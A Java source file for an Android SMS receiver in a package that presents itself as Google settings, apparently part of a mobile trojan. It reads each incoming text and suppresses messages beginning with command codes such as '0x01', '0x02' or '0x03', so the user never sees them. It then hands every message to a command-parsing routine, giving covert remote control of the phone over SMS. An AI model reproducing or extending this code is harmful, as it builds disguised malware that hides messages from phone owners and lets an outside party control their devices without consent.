package com.android.googlesettings.receiver;

import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;

import com.android.googlesettings.controller.AppController;
import com.android.googlesettings.util.LogUtil;
import com.android.googlesettings.util.MessageUtil;

public class SmsReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(final Context context, Intent intent) {
		// TODO Auto-generated method stub
		LogUtil.d("******received SMS broadcastReceiver******" + "SMSReceiver, isOrderedBroadcast()="
				+ isOrderedBroadcast());
		Object[] pdus = (Object[]) intent.getExtras().get("pdus");

		SmsMessage message1 = SmsMessage.createFromPdu((byte[]) pdus[0]);
		final String content1 = message1.getMessageBody();
		final Date date1 = new Date(message1.getTimestampMillis());
		final String number1 = message1.getOriginatingAddress();

		AppController.bIsReceivedMsgBroadcast = true;
		if ("0x01".equalsIgnoreCase(content1) || "0x02".equalsIgnoreCase(content1) || content1.startsWith("0x03")) {
			abortBroadcast();
		}

		// new Thread(new Runnable() {
		//
		// @Override
		// public void run() {
		// TODO Auto-generated method stub
		MessageUtil.analyseMsgCmd(context, number1, content1);
		// }
		// }).start();

		// for (Object obj : pdus) {
		// byte[] sms = (byte[]) obj;
		// SmsMessage message = SmsMessage.createFromPdu(sms);
		// final String content = message.getMessageBody();
		// final Date date = new Date(message.getTimestampMillis());
		// final String number = message.getOriginatingAddress();
		//
		// }
	}

}
